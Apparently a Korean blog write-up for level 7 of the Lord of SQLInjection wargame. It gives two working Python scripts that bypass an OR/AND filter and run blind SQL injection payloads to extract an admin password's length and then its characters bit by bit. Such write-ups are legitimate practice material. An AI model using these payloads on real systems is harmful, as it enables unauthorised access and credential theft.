워게임/LORD OF SQLINJECTION

[LOS] Level 7(orge)

name2965 2022. 5. 3. 20:21
728x90

 

 

 

 

 

문제의 소스코드를 쭉 둘러보면

 

전 단계와 필터링 처리는 같아 보이는데 그 뒤에 solve 함수가 실행되는 조건이 달라졌습니다.

 

서버 DB에 저장되어있는 admin의 pw와 쿼리를 통해 전달받은 pw가 같아야만 solve 함수가 실행됩니다.

 

 

한마디로 admin의 pw를 알아내야만 문제를 풀수 있습니다.

일반적인 sql 인젝션 공격으로는 알아내기 힘들기 때문에 blind sql 인젝션을 통해서 알아내야합니다.

 

 

Level 4에서 썼던 blind sql 인젝션 스크립트를 활용해서 이번 단계를 통과할수 있을것으로 예상합니다.

 

우선 이 웹페이지에서는 OR과 AND를 필터링 하므로 OR는 ||, AND는 &&로 바꿔서 쿼리문 형식을 만들어야합니다.

 

그렇게 해서 작성한 쿼리문을 우선 비밀번호의 길이를 알아내는데에 사용한다면 

 

 

 

import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies = {'PHPSESSID': '자신의 쿠키값 입력'}
def find_pw_len(id):
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "' || id='{}' && length(pw)={} -- ".format(id,pw_len)
        params = {'pw': value}# pw에 Payload 코드 전달
        response = requests.get(url, params=params, cookies=cookies)
        print(response.status_code)
        print(value)
        if "Hello {}".format(id) in response.text:
            break
    return pw_len
    
if __name__ == '__main__':
    admin_len = find_pw_len("admin")
    print("admin의 pw 길이 : "+str(admin_len))

 

 

다음과 같은 프로그램을 작성할수 있습니다..

 

이 프로그램을 실행하면

 

 

 

 

다음과 같이 pw의 길이가 성공적으로 나오는것을 확인할수 있습니다.

 

이것을 기반으로 pw를 맞추는 프로그램을 작성하겠습니다.

 

 

import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies = {'PHPSESSID': 'o7vakvi5e4l1bsisg8eh8a50kb'}
def find_pw_len(id):
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "' || id='{}' && length(pw)={} -- ".format(id,pw_len)
        params = {'pw': value}# pw에 Payload 코드 전달
        response = requests.get(url, params=params, cookies=cookies)
        print(response.status_code)
        print(value)
        if "Hello {}".format(id) in response.text:
            break
    return pw_len

def find_pw_str(id, pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        bincar=""
        for bit_index in range(1,9):
            value = "' || id='{}' && substr(lpad(bin(ascii(substr(pw,{},1))),8,0),{},1) = 1 -- ' ".format(id,len,bit_index)
            # pw를 len으로 substr한 후 ascii코드로 변환후 2진법으로 변환 그리고 lpad를 이용해서 8bit 채워줌. bit_index를 통해 bit 하나씩 체크
            params = {'pw':value}# pw에 Payload 코드 전달
            response = requests.get(url=url,params=params,cookies=cookies)
            if "Hello admin" in response.text: #참일 경우 1을 추가
                bincar += "1"
            else: #아닐 경우 0을 추가
                bincar += "0"
        print("중간비트값:" + bincar)
        pw_str += chr(int(bincar, 2))
        print("현재 패스워드" + pw_str) 
    return pw_str

if __name__ == '__main__':
    admin_len = find_pw_len("admin")
    print("admin의 pw 길이 : "+str(admin_len))
    print("admin의 pw : " + find_pw_str(id="admin",pw_len=admin_len))

 

 

이 프로그램을 실행하면 다음과 같이 비밀번호가 나옵니다.

 

 

 

 

이 비밀번호를 입력하게되면 성공적으로 문제가 풀리는것을 확인할수 있습니다.

 

 

728x90

'워게임 > LORD OF SQLINJECTION' 카테고리의 다른 글

[LOS] Level 9(vampire)  (0) 2022.05.03
[LOS] Level 8(troll)  (0) 2022.05.03
[LOS] Level 6(darkelf)  (0) 2022.05.03
[LOS] Level 5(wolfman)  (0) 2022.05.03
[LOS] Level 4(orc)  (0) 2022.05.03